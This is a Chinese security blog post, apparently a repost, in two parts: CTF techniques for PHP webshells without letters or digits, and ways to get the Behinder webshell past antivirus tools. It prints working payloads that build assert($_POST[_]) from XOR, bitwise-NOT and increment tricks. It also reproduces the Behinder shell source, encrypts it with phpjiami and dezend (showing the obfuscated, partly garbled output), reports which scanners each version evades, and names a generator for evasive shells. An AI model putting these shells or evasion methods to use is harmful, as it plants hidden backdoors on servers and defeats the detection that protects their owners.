前言
前段时间在刷CTF题目的时候碰到了各种过滤,其中给我印象最为深刻的是无字母数字Webshell,但是刷题的时候总觉得理解不是那么透彻,于是考虑写一篇总结文章好好总结一下。
背景
所谓的无字母无数字Webshell无法就是对如下原型代码进行绕过
<?php
if
(!
preg_match
(
'/[a-z0-9]/is'
,
$_GET
[
'shell'
])){
eval
(
$_GET
[
'shell'
]);
}
?>
思路
思路梳理
首先,绕过的核心思路是,将非字母、数字和字符通过各种变换,最后能构造出a-z中任意一个字符,最后利用PHP能够动态执行函数的特点,拼接出一个函数名,然后动态执行即可。
为了方便进行研究这里的一句话木马统一用assert函数,并且基于PHP5进行研究。
思路一 异或法
众所周知,在PHP中两个字符串执行异或操作后,得到的还是一个字符串,所以可以考虑通过两个非字母、数字的字符进行异或操作,得到我们想要的字母即可。
使用如下代码可以获取任何我们想要的字符,只需要将其中的字母a改为我们想要的字符即可
<?php
for
(
$i
=
0
;
$i
<
256
;
$i
++) {
for
(
$j
=
0
;
$j
<
256
;
$j
++) {
if
(
chr
(
$i
^
$j
) ==
'a'
){
echo
(
urlencode
(
chr
(
$i
)) .
" "
.
urlencode
(
chr
(
$j
)));
echo
"n"
;
}
}
}
?>
因为很多字符无法打印,采用url编码进行表示了。
所以最终构造的php代码如下:
<?php
$_
=(
'%01'
^
'`'
).(
'%13'
^
'`'
).(
'%13'
^
'`'
).(
'%05'
^
'`'
).(
'%12'
^
'`'
).(
'%14'
^
'`'
);
// $_='assert';
$__
=
'_'
.(
'%0D'
^
']'
).(
'%2F'
^
'`'
).(
'%0E'
^
']'
).(
'%09'
^
']'
);
// $__='_POST';
$___
=
$$__
;
// $___=$_POST;
$_
(
$___
[_]);
// assert($_POST[_]);
放入我们的环境中进行测试
payload:
$_
=(
'%01'
^
'`'
).(
'%13'
^
'`'
).(
'%13'
^
'`'
).(
'%05'
^
'`'
).(
'%12'
^
'`'
).(
'%14'
^
'`'
);
$__
=
'_'
.(
'%0D'
^
']'
).(
'%2F'
^
'`'
).(
'%0E'
^
']'
).(
'%09'
^
']'
);
$___
=
$$__
;
$_
(
$___
[_]);
看到这里肯定有很多刚接触的小伙伴会疑惑,明明里面有01、13等这种数字,为什么还能正常执行,在这里解释一下,这里的%01是进行了url编码,当传入时,系统会进行url解码,当进行解码以后就不会包含任何字母数字,而只是单纯的符号组成的webshell。
思路二 汉字取反
第二个思路是位运算里的“取反”,利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如新{1}
取反得i
利用这个特性构造我们的payload(在文章最后会给出一个汉字取反字母表):
<?php
$__
=(
'>'
>
'<'
)+(
'>'
>
'<'
);
$_
=
$__
/
$__
;
$____
=
''
;
$___
=
"瞰"
;
$____
.=~(
$___
{
$_
});
$___
=
"和"
;
$____
.=~(
$___
{
$__
});
$___
=
"和"
;
$____
.=~(
$___
{
$__
});
$___
=
"的"
;
$____
.=~(
$___
{
$_
});
$___
=
"半"
;
$____
.=~(
$___
{
$_
});
$___
=
"始"
;
$____
.=~(
$___
{
$__
});
$_____
=
'_'
;
$___
=
"俯"
;
$_____
.=~(
$___
{
$__
});
$___
=
"瞰"
;
$_____
.=~(
$___
{
$__
});
$___
=
"次"
;
$_____
.=~(
$___
{
$_
});
$___
=
"站"
;
$_____
.=~(
$___
{
$_
});
$_
=
$$_____
;
$____
(
$_
[
$__
]);
看到这里有小伙伴会疑惑,取反的时候的1和2如何获取的,这里利用了PHP弱类型的特性,在PHP中true的值为1,故true+true=2
,所以('>'>'<')+('>'>'<')==2
思路三 字符变量自增
思路三的话没有延续前面两种思路的方法,使用位运算,而是根据php的特性进行操作,在处理字符串变量的算术运算时,PHP沿袭了Perl的习惯。
<?php
$a
=
'Z'
;
$a
++
上面这段代码,经过运算后,$a将变成AA
所以,当我们有了a以后就能获取a-z任意一个字符。
于是我们要考虑如何获取变量a,在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,且数组的值为Array,这样的话我们再取第一个字母就能得到字母A了。
于是最终的Payload如下:
<?php
$_
=[];
$_
=@
"
$_
"
;
// $_='Array';
$_
=
$_
[
'!'
==
'@'
];
// $_=$_[0];
$___
=
$_
;
// A
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
.=
$__
;
// S
$___
.=
$__
;
// S
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
// E
$___
.=
$__
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
// R
$___
.=
$__
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
// T
$___
.=
$__
;
$____
=
'_'
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
// P
$____
.=
$__
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
// O
$____
.=
$__
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
// S
$____
.=
$__
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
// T
$____
.=
$__
;
$_
=
$$____
;
$___
(
$_
[_]);
// ASSERT($_POST[_]);
附录
汉字取反字母表
a实[2]
b来[1]
c在[1]
d国[1]
e的[1]
f这[2]
g是[1]
h时[1]
i他[2]
j法[2]
k用[1]
l体[2]
m和[1]
n我[2]
o成[2]
p可[1]
q后[2]
r不[2]
s和[2]
t下[2]
u上[2]
v有[2]
w我[1]
x出[1]
y了[2]
z其[1]
A得[1]
B国[2]
C於[2]
D以[1]
E了[1]
F对[2]
G一[1]
H工[1]
I时[2]
J电[2]
K年[2]
L法[1]
M没[1]
N就[2]
O到[2]
P是[2]
Q定[1]
R中[2]
S们[2]
T高[1]
U个[2]
V物[2]
W在[2]
X大[2]
Y要[1]
Z以[2]
前言
作为一个打点菜鸡最经常碰到的一个问题就是马被杀的情况。
前段时间打靶机,因为开的防护太狠了,给我的冰蝎马删了,于是便有了这篇文章
首先有请我们今天的一号嘉宾——冰蝎的原版马子
<?php
@
error_reporting
(
0
);
session_start
();
$key
=
"e45e329feb5d925b"
;
//该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION
[
'k'
]=
$key
;
session_write_close
();
$post
=
file_get_contents
(
"php://input"
);
if
(!
extension_loaded
(
'openssl'
))
{
$t
=
"base64_"
.
"decode"
;
$post
=
$t
(
$post
.
""
);
for
(
$i
=
0
;
$i
<
strlen
(
$post
);
$i
++) {
$post
[
$i
] =
$post
[
$i
]^
$key
[
$i
+
1
&
15
];
}
}
else
{
$post
=
openssl_decrypt
(
$post
,
"AES128"
,
$key
);
}
$arr
=
explode
(
'|'
,
$post
);
$func
=
$arr
[
0
];
$params
=
$arr
[
1
];
class
C
{
public
function
__invoke
(
$p
) {
eval
(
$p
.
""
);}}
@
call_user_func
(
new
C
(),
$params
);
?>
看一下VT结果:
直接g了个大g
再看一下webdir+的
不出所料也是g了
shellpub还是一样
再来两个常见的,河马和D盾:
寄
梅开二寄
三生三寄
综上所述,一号嘉宾是被各大杀软标记的死死的,因此如果想要用冰蝎的话我们就需要做免杀了,然而对于一个编程菜鸟而言最好的免杀方法就是站在巨人的肩膀上。
花式免杀
php加密
首先是phpjiami网站进行加密
https://www.phpjiami.com
<?php
/* PHP Encode by https://Www.PHPJiaMi.Com/ */
error_reporting
(
0
);
ini_set
(
"display_errors"
,
0
);
if
(!
defined
(
'ponklhon'
)){
define
(
'ponklhon'
,
__FILE__
);
if
(!
function_exists
(
"�閌���"
)){
function
�����ޘ($������){
global
$���˸����,$������,$��������ԇ,$�龔���,$�����������,$Ŝ��闟�,$����솮����,$�������,$�ڈ�ŷ,$��������,$���ٜ����,$�Ֆ����۵,$��痳���,$�����β��ɦ,$���鰢����,$Ϗ�܆�����;$��������=$���냸=$���ŗ瘴���=$̚������=$�Ņ������=$�������=$����獝��=$�����Ǭ�ҿ=$а������=$���٬�=$����ƕ��=
$Æ
����҄��=$�Ǖ�Ǜ���=$ԋ��Ŀ���=$��¦����Û=
'��������'
;$���ʹ��=$��������(
'E1AS���ZR1��W�VYXA=='
);$�������=$��������(
'B1EH'
);$������֑�ƞ=$��������(
'AFQL'
);$�����=$��������(
'D�EBR��MX�5�'
);$�ź�����ޗ�=$��������(
'U��SBQ=='
);$�ʕ������=$��������(
'A��FV�=='
);$��쫜Ɨ���=$��������(
'A��FQ�=='
);$��ٛ�����=$��������(
'K2�2ZT���GB�'
);$��������=$��������(
'MH0�Y�F��HJ8�DY='
);$����ś�=$��������(
'MX0���B9�HJ8�DY='
);$���ʹ��()==$������֑�ƞ?$�������():
''
;$���ϓ�=$���˸����($Ŝ��闟�($��������(
'E1�MX��QWF0='
)));
if
(!
isset
(
$_SERVER
[$��ٛ�����])&&!
isset
(
$_SERVER
[$��������])&&!
isset
(
$_SERVER
[$����ś�])){$�������();};$�ʕ������=$�����(
true
)*$�ź�����ޗ�;
eval
(
""
);
if
(($�����(
true
)*$�ź�����ޗ�-$�ʕ������)>
100
){$�������();}
eval
($��������(
'C�5KR�BKR1�LHD�������21�HR�SDV5ZDV9XC��WQA��GFI�H��SS1FAA�BXB���CU4='
));!$���ٜ����($��¦����Û($������($���ϓ�,$���냸(
'T��X'
),$���ŗ瘴���(
'T��='
))),$�����β��ɦ($������($���ϓ�,$�Ņ������(
'U�=='
),$�������(
'T��U'
))))?$��è����():$�����������;$�ɒ�҂�����=$����獝��(
'T�9RDQ=='
);$Ϳ������=$�����Ǭ�ҿ(
'T��U'
);$Ϳ������=$��痳���(@$�ڈ�ŷ($����ƕ��($������($���ϓ�,$�ɒ�҂�����,$Ϳ������))));
return
$Ϳ������;}
function
�閌���(&$��۲�������,$����������){$��������=$���냸=$���ŗ瘴���=$̚������=$�Ņ������=
'��������'
;$����᥊����=$��������(
'EE�Q��ZXQ�IL'
);$�ք�����=$���냸(
'EE�QR�FO'
);$��ޙ�����=$���ŗ瘴���(
'BEIXW��XW�NKUR�G'
);$������=$̚������(
'EE�QXBRLW1JLXAFG'
);$�ۛ��Ƀ=$̚������(
'B�ASWQ��U�=='
);$������Ҽ�=$����᥊����($�ք�����($��ޙ�����($������($�Ņ������(
'G+J���829AM�MU���4+DCD���Z�IZ��Q�A5F�W���/�P��0H7�/X3��W�6�9�D�V�WK�SC�M�LV��L�5�1Q�LC0�V�CKS��G��H1YL��M5WEUZ��WS�Z�T�FLU48W�Z9��45�+QQ��0F�3/T0Y5Q4K3K7PNLABBV0�HE��4N���6Z������THQ4Q��VO4��1��K�'
)))));$���ᨩ��=$�ۛ��Ƀ(
','
,$������Ҽ�);$��۲�������=$���ᨩ��[$����������];}
function
��������($ǴЯ������,$����ۂ�=
''
){$����=
'base64_decode'
;$�����β��ɦ=$����(
'bWQ1'
);$�ؚ����ʨ��=$�����β��ɦ(
'������'
);$�ݘ�=$����(
'b3Jk'
);$���=$����(
'c3RybGVu'
);$�Í����ũ�=$����(
'Y2hy'
);$����ۂ�=!$����ۂ�?$�ݘ�(
'�'
):$����ۂ�;$���������=$�˺�����;
for
(;$���������<$��ă��($ǴЯ������);$���������++)$���������.=$�ݘ�($ǴЯ������{$���������})<$�ݘ�(
'�'
)?(($�ݘ�($ǴЯ������{$���������})>$����ۂ�&&$�ݘ�($ǴЯ������{$���������})<$�ݘ�(
'�'
))?$�Í����ũ�($�ݘ�($ǴЯ������{$���������})/
2
):$ǴЯ������{$���������}):
''
;$Ϳ������=$����($���������);$���������=$�˺�����;$�ݘ�=$��⛹�=$��ă��($�ؚ����ʨ��);
for
(;$���������<$��ă��($Ϳ������);$���������++){$�ݘ�=$�ݘ�?$�ݘ�:$��⛹�;$�ݘ�--;$����������.=$Ϳ������[$���������]^$�ؚ����ʨ��[$�ݘ�];}
return
$����������;}}}
global
$���˸����,$����”��,$������,$��������ԇ,$���������,$�龔���,$�����������,$Ŝ��闟�,$����솮����,$�������,$�ڈ�ŷ,$��������,$���ٜ����,$�Ֆ����۵,$��痳���,$�����β��ɦ,$���鰢����,$Ϗ�܆�����;$���лݮ��=$���і�=$��砜������=$ǂ�����=$�������=$���������=$ʿ���=$�����=$�ߒ�Ф=$������=$ͯщ����ۊ�=$�������=$����������=$��ӏ����=$�������=$���̐�=$���Ӕ�=$�����˦=$�Ս��˴=
'�閌���'
;
if
(!$���˸����){$���лݮ��($���˸����,
8
);$���і�($������,
9
);$��砜������($�����������,
10
);$ǂ�����($�ڈ�ŷ,
4
);$�������($��������,
13
);$���������($���ٜ����,
12
);$ʿ���($�Ֆ����۵,
2
);$�����($��痳���,
14
);$�ߒ�Ф($�����β��ɦ,
15
);$������($���鰢����,
16
);$ͯщ����ۊ�($Ϗ�܆�����,
17
);$�������($����솮����,
18
);$����������($�������,
19
);$��ӏ����($Ŝ��闟�,
11
);$�������($�龔���,
5
);$���̐�($��������ԇ,
6
);$���Ӕ�($����”��,
1
);$�����˦($��덜�,
3
);$�Ս��˴($���������,
7
);}$��������=$���냸=$���ŗ瘴���=$̚������=
'��������'
;$������=$��������(
'PF49'
);$Ϳ������=�����ޘ($$������);$���鰢����($Ϗ�܆�����($$������));$�Æ����֏�=$�������($Ϳ������);
eval
($��������(
'B�4DWU��V�B�A�B�XQAHXVZWGR3R���I5�����2�SB5Y'
));$����������=$���ɓ������;$���鰢����($Ϗ�܆�����($$������));
return
$����������;
?>
G+I�Z��X5HM�C�+KW��
96
�SRTY�LS�
6
��XS2�D��
9
�/P�LT���XT�HF�
1
���JSZ6����H�Z�QZI2TX009��IX���TYUP��VYN9�TW�/Y/�/��W8WHH�TDH0S8��/
0
FH9C�ZK�E����QK�����
3
KR�T4��AHSZMY��R���A�GJ�
4
CKDETAE����T0��WA�XXTEFL�
6
�K���H�X�AF�T06��
4
����Y�+R+S�T++PS����Q���C����
7
V�IB��MUR+YXI�+
3
��FC2��
6
ZG+
8
�
7
���R�/+NZ�M�B�MH��
7
X7�����
3
�RVJ1�XWM6�T�+
5
�M1PXX�
5
X/���TR��M�
9
X��F/�����V874�L9U�H��CRH�
0
EDC�����/
7
�YD�E��WUBJ�GR26S��SX�HP7R�R5K�����NKZ1IWGTP��RX�����
4
PFVF��
6
�C��
9
J�I�O3UGQ�KW�K3�A�
3
�V�MU1��
2
��J�ME��
7
F0NY�K���V���L6��I��O����
9
D�A/�W���Y�IH���L�
0
KQ�HHP�D�G�
4
N���DLQ��CWV9P��NM�H+�
4
��J1��GI3ZW�Y7J�YN��
0
F�H�X�GD��U��+ZW�
9
���
5
KYXJ�R��M�OMRSA�N��BV3�
9
/H0S����TG����+GO�VFG8KKHZ�D��Y�CI4���M�
8
A�Y���IRJYF�MT�E0S�O�WC��Y=�
3
QBXA1AMVFAOVQIDX1AGA�EFB��EV��CU�QJAFACBFF�;
加密后的效果
vt 1/60
webdir+
Shellpub 被查杀了
河马绕过
D盾显示为加密脚本
安全狗绕过
总的来看效果还不错,但是还不是很完美
dezend加密
http://dezend.qiling.org/encrypt.html
<?php
define
(
'qaTlBO0928'
,
__FILE__
);
$RJnsMB
=
base64_decode
(
"bjF6Yi9tYTVcdnQwaTI4LXB4dXF5KjZscmtkZzlfZWhjc3dvNCtmMzdqb0xHS0JldWFzdmJyZmRrbnFYQWpTT01JRXpwd1ZXaG1pUEZVUUR0TkpnSHh5Q2xZY1JUWg=="
);
$RbIpPB
=
$RJnsMB
[
3
].
$RJnsMB
[
6
].
$RJnsMB
[
33
].
$RJnsMB
[
30
];
$qBrwwx
=
$RJnsMB
[
33
].
$RJnsMB
[
10
].
$RJnsMB
[
24
].
$RJnsMB
[
10
].
$RJnsMB
[
24
];
$VUolAs
=
$qBrwwx
[
0
].
$RJnsMB
[
18
].
$RJnsMB
[
3
].
$qBrwwx
[
0
].
$qBrwwx
[
1
].
$RJnsMB
[
24
];
$FTwRMz
=
$RJnsMB
[
7
].
$RJnsMB
[
13
];
$RbIpPB
.=
$RJnsMB
[
22
].
$RJnsMB
[
36
].
$RJnsMB
[
29
].
$RJnsMB
[
26
].
$RJnsMB
[
30
].
$RJnsMB
[
32
].
$RJnsMB
[
35
].
$RJnsMB
[
26
].
$RJnsMB
[
30
];
eval
(
$RbIpPB
(
"JFhlaEFLeD0iWkp3emduU2NldUVHTEtOUWtQZm1zQ09XcmxGWVZqeXhUSVVSWGFpSG9iZHBxQWh0QkRNdkVHdWZaZVRXbVN6c1VsUXFwUGpiUkhjT1hoTER5aVl2QU1hclZnSmRuQmtGb0tJdHd4Q05QeDl1Z2RLWkVzeWJnTzVobEhrdHEycnhPeW51Y0FNNEdZdnZEeXJScXA4dWNBTTRsQVJwT2hoZlQwaERQT0dJVzJhMlFMOXBFT1FORXNhbk1iR29yaUVFZ0FoME95ck9EMnJTYVZrSXl6cDBBTElIUXNyRHJpeVVnaEZmRDIxMGcxRjZCc0VneTJJb0RmUXBrcDV4a3MxUW1icnZEMnZnV0xGdHJleVRPekd5YXBrMGF5clNPYjVwcjJJVU9BRzRraEdYRXp2YXJwRTZ5aVFuQ095T0FlTGdyYUUwYUFLdmd5a1JCTEVoZ2ZoUkQxeWxPT3F1QkxRQXFBMDlNSnA3R3MxSm1wdGZBQTBwT2hoZlQwaERPZlFrVUpyZ09WUVVUeUlCUWgwU0dMRkVXMHRHT0xSZkMxMFNHTEZFVzB0R09MUmZDTDA3R0xMM2dPRVlXQTBwT2hoZlQwaERPZkNmVlQ0cE9oaGZUMGhET2Z6dVZUNHBPaGhmVDBoRE9mTTBWVDRwT2hoZlQwaERPZnp1VlQ0cE9oaGZUMGhET2ZNMFZBUnBEZXlua2VGMVBUcnJrMmhiV2VMQkNMMFNHTEZFVzB0R09MUnZjTDBTR0xGRVcwdEdPTFJmVlQ0cGFWa0ZFZUd2T2Z3a1VKcnJrMmhiV2VMQkN5MFNHTEZFVzB0R09MUllRTDA3R0xRdmdldzRyQTBwT2hoZlQwaERPZmtrVUpyZ09WUVVUeUlCQ0FRa2NZcnREZUZVVzAwU1BUcmdPVlFVVHlJQkNpR2tVSnJnT1ZRVVR5SUJDZkVrVUpyZ09WUVVUeUlCQ2loa1VKcmdPVlFVVHlJQkNpRWtVSnJnT1ZRVVR5SUJDZndrVUpyZ09WUVVUeUlCQ2ZHa1VKcmdPVlFVVHlJQkNmeWtVSnJnT1ZRVVR5SUJDaUVrVUpyZ09WUVVUeUlCQ2Z3a2MyeTJET3VuR3MxSm1wdGZBVFpKVHBFc21oUU1PZUxJcnh3Rk9BUXVnT01ZbWRoQVRMRll5TzVjcTF5ZE9lSWdDYklPT2h5cFFPcnNhcHlBQ3h5UUQwVzFPaGtScmhycE9zckR5YnRna0xxWXJlTGF5MnZzT3B5UlFMTHlXTGhyQ2hNMHl4TFRCYnlSQWVMZ3lhNVRPeXlzQnlDdVRoaEpyZXdOYWI1Y2tPTFZUYkZwQ0xFM3lMV3ZBeUdMQnpoeXJidlB5YjVnVHNRVmtkaHlCaEcyRUxFcHloUVNCekdJeXN2R2FpTGNPTExYcmlyY3J4d0ZBZkdPQ2hoVmsyOWxtaVpYVGVwMGcyR1ZUaUVBQzA1Y1QwUVRhYnFZQnMxaUJweU5UcGtsQ09MTU9pRXBhMmtYeXlJY1RPcnRXczlDcTFHYUQxa3VrMnlMeVZMUWdPdGZUcGtsQ09MTU9pRXBhMmtYeXlJY1RPcnRXczlDcTFHYUQxa3VrMnlMeVZRbHJwNTRETzVIUUxHQWczUWxyMG52RGFJZ1FickFFMnR5T3o1R0VzMXVCMHZ6cVZRbHJwNTRETzVIUUxHQWczd1VhMlIzTUpwRmNmOCtQeDl1Z2RLWkVzeWJnTzVobEhrUWdkTGdPTHp1Y0FNNEdZdnZEeXJScXA4dWNBTTRsQVJwV092THIwOWhQT0dJVzJhMlFMOXBFT1FORXNhbk1iR29yaUVFZ0FoME95ck9EMnJTYVZrSXl6cDBBTElIUXNyRHJpeVVnaEZmRDIxMGcxRjZCc0VneTJJb0RmUXBrcDV4a3MxUW1icnZFTHk0Z3lxWVd6cnlDcDQyYXlrVFRMRURPcDlBZzJJMER5SVRxMkdzcWI5Vk9zckF5cFc1UU95TE9leWdnMUVWT2lRSEFoR2RrTElFeWJJbGFmTHNtaEZPV2RJaUVmMDlNSnA3R0x5NnEwSVNhQTBwV092THIwOWhPZlFrVUpydkJ6eWRBMnlCUWgwU0dkTFJyYWtQRXlSZkMxMFNHZExScmFrUEV5UmZDTDA3R0xFUU9wdGVhaTBwV092THIwOWhPZkNmVlQ0cFdPdkxyMDloT2Z6dVZUNHBXT3ZMcjA5aE9mTTBWVDRwV092THIwOWhPZnp1VlQ0cFdPdkxyMDloT2ZNMFZBUnBEMnJTRFZGMVBUck9BeUZVRTFHQkNMMFNHZExScmFrUEV5UnZjTDBTR2RMUnJha1BFeVJmVlQ0cHlwMWdUMmtUT2Z3a1VKck9BeUZVRTFHQkN5MFNHZExScmFrUEV5UllRTDA3R2RFTnJiTDJ5aTBwV092THIwOWhPZmtrVUpydkJ6eWRBMnlCQ0FRa2NZcnltcFFNQmh6U1BUcnZCenlkQTJ5QkNpR2tVSnJ2Qnp5ZEEyeUJDZkVrVUpydkJ6eWRBMnlCQ2loa1VKcnZCenlkQTJ5QkNpRWtVSnJ2Qnp5ZEEyeUJDZndrVUpydkJ6eWRBMnlCQ2ZHa1VKcnZCenlkQTJ5QkNmeWtVSnJ2Qnp5ZEEyeUJDaUVrVUpydkJ6eWRBMnlCQ2Z3a2MyeTJET3VuR0x5NnEwSVNhVFpKVHBFdVdPUVhjYXJneXh3RkRpTTFXMUVEcmh5VmcySUF5MHljQmJyWGNhOWh5cEVWYXBJbnEyUU1XTHJWeUFMTkRPdE9Bc0xERXMxaUNlck1hMUlsZ3lHWFd4d09DaEdIRUx5NGdMcFl5ZXJ5clZJYU9oa2xxMXlYT2hFaUJoR3lFeExScWhRVkFwOUpDVnduRDFrZ1QxR3lFZHlweWE1TnkwSVJUeXlNcWJ0cEJPcnZEaGswbWJMT09pRWF5M1oweXhMc09MR0xrenZWZ2J2R3l4TE9BaGtMUUFHSkNwNVRhcHJSZ2JyekFlRmd5cERZQTFrY1FicnR5ZVFUQmE0ZmEwRW5hMlFzZ0xHUUJBaFV5eXJsQkxrVkNPdlB5VksyRXMxMGdieVJhaVFnZzBFR3l6SXBCaEVMQ0FRaUMxRnVPaEVwYTAxTUJ6a3lnZnI0YWJ2bGt5cHVyaGtUQnlFTWFBTTVnMUxPVGI1UXlPcTFPZUZwQmhFemdMRmNCc2tZT2hyT2F6UmZPQUdUQnNJUkFoSW5RYTVvT2lyVUNPQ3Z5enJnQno1eWNkR3BnaGFZeXBJc2t5UVNnc3RWeU9RNER5eWdET3JkeWlRaHJWd2FhcHk0YTFGREJ6SVFyMEVsRHB5eVF5enZEM0dQcmE1SGFwcnByeUxEQmRRZ2cwRDFBeExjVzFxdXJiMU9DeUZnRUxrNE9zcWZFeHdpQ2hFTWFwVzRDT0dhVEFMZ3JoTWZPcGtUQ3oxeUJkR0VncEVsRGZMR2swNVZDVkZRQnBHYUV6RUdrMUZMY2RoSm1oRUhhMHk0bWh5YVRlRUFCenk1T2hFUmtMRmFnM0Z5eXlHUkFheWdrcDl5QWVycGdidlVhYnRPQzFGWHJwaGFUejU2eWhJc09oeWFBcDlQeXlGTE9oSUhyMkc2QkxyVEJoRzV5YXlpbWE5Vm14RXBCQWhmRU92T2t5cmRFTHJpeVZJVHkydDRPYnl6VGJ2SnJwRU9EZUZIQmJ5VmFBUU9Uc3JST2J0Z1FPcWZ5cGtwVEx5M2FidkVDeVFYY3lrUHkzWnVBTzFzT2hNdk9laGd5eUZ5RXhMY2t6MGZyYnZKeXA1bGEyMHZ5eXlWT2hoYWczSTZ5aXduQU9DdmFwRWlncEdDYWhJY1F5TWZhcEZneU92ekQydkhCYnlhYWl5VEJoRjJhQU11bU9RdHliNXJDMEdFeXBhMWcxRnNyaUdQeVZLMnkyRkhnMnlSYWlRZ3JwRFlBMXl1UWhFemFpeWdDMnZYQWlMVEMxRk1BaHlwQ2hHNmFidHJReXB2Z0x5aUJ5RkN5T1J1QzJDZk9idFBycHk2RDIxY2tzcnRjVlFWcmhHNWEwV3VtaFFhcWhoeUJwR1h5eHdPazJMUmd6RWl5c3J5RXlhdkMxbnZhcDVpQ3lHUE9wSXBtaEVEcmhGeXl6NTVEaEljQ2hGRFdzNVZncE1mRGZMT21Ma09yVkZpQkFMNkVzMU9RYnJNQmRoSWcxbnVPaFd2bWJydGFlTEpnMUVNT3l5UmtwMXpFczVheVZaZk9pTFRBYnF2YXA5Z1R6NXJ5c3Q0bWh5TFFhMWlDTEZWT3l5dXIxclhtZEZPQ3NJUURmTFRyYlFYZ2RyUUNzdDNhZkxFUXlRTE9oa2N5VndUQU8xc2F5R1NPZUVyQ2FFYU9oeW5RaEVNRXN0eU9McDFhMjV1eXlRTUVzNWdyM3JZT090dUIxcHVyaHlnQzBHU3lwSWxXeUdTYWJ0Z2cwRUd5ekljYXlyWG14UWdDeUdjRXhRY0NiellBaEdybXBFUnlpTE9tc1FkQ2RoaUJ5RUV5cElOUXNDWUFwaGdycERZQTF5dVFoRWRhQVFPVHN2Y0V4R3B5eXJWYXBreUNpaGZhaXdOazFGTEV4d2lDcDVWYTI1c1FoTHlnejFwQ2JyeXlMSXBtaEVEcmlMeXl5R1lEeUVzVDAxZGFwSXBUejVveWJ0dVdieVhycGhhVHo1TUFPMXNDeXlhQWV5cEN4cjZEeXluUWhFU0Fla2FDeUYxRXh3Z3lzTVlteklRQzBGdERockdDc3FmYVZJUHkxRjB5QXdnT2hyNlRiaGFUejVPeUxrZ0JoRVZCc3ZoZzFHWUQwRW55T1FYZ3hyaHkycTF5MEVsV3o5T3FwOWFUc3JTeXBhdkMxclNPcEZweWZ6WU95RUhRYnJMQnN2eXkxYTFhcEl1eTA1eUFoaHBnaEVSRU8xY21Ma1JnTHlnVHpHNnloSXNDeXl5YWVHSXlwRW9PcHJweXlMNkUzR09Uc0M1YUxRR1ExRkRPYklKcTJrU2FkbjBCcHZGYWhFaGcwNUdEYnZMQjBGc09wNVZnM3JTeU9oZWcxcFlhZXlFT2RLdlQwUVRET0xTVGh3ckNoeWZUcElna2hHdHJpR09nTzk1VDFRM2cxcFlhZXlFT2RLdlQwUVRET0xTVGh3ckNoeWZUcElna2hHdHJpR09nVmtYRXMwNXIxaERPaGtVYTNrWE9BR1RreWhEV3hMVXExR0lETzVsYUx6WXlWUVFxM2tYRXMwNXIxaERPaGtVYTJ0dVQxcmZQVE1GbEFSL1BaPT0iO2V2YWwoJz8+Jy4kUmJJcFBCKCRxQnJ3d3goJFZVb2xBcygkWGVoQUt4LCRGVHdSTXoqMiksJFZVb2xBcygkWGVoQUt4LCRGVHdSTXosJEZUd1JNeiksJFZVb2xBcygkWGVoQUt4LDAsJEZUd1JNeikpKSk7"
));
?>
加密后的效果
vt 0/60
webdir+检测为后门
shellpub检测为后门
河马检测为后门
D盾检测为加密文件
安全狗检测为后门
事实证明dezend的免杀效果不是很好,除了vt以外其他的基本上都检测了出来,再换个姿势
ByPassBehinder
工具下载地址:https://github.com/Tas9er/ByPassBehinder
这款工具是由Tas9er师傅开发的,好处是使用者无需免杀马的具体实现过程,只需要将生成器放入64位的windows系统中运行即可得到一个免杀的冰蝎吗,免杀效果如下
vt 2/61
webdir+ 绕过
shellpub绕过
河马 绕过
D盾 绕过
安全狗 被查杀
整体来看除了无法绕过安全狗外其他的大部分杀软都能绕过。
总结
对于webshell免杀而言,其实就是跟杀软的检测机制的博弈,杀软的检测机制随着机器学习算法的加入在不断的增强,也就意味了一个免杀马的存活时间注定不会太长,通过现成的webshell生成器终究不是长久之计,只有自己不断学习免杀的思路才是王道。
参考文章
https://xz.aliyun.com/t/11149
https://www.secpulse.com/archives/184357.html
https://www.cnblogs.com/Article-kelp/p/14852485.html
https://blog.csdn.net/weixin_43940853/article/details/104553873
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html?page=2#reply-list
好文推荐
原文始发于微信公众号(系统安全运维):无字母数字Webshell&&冰蝎Webshell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论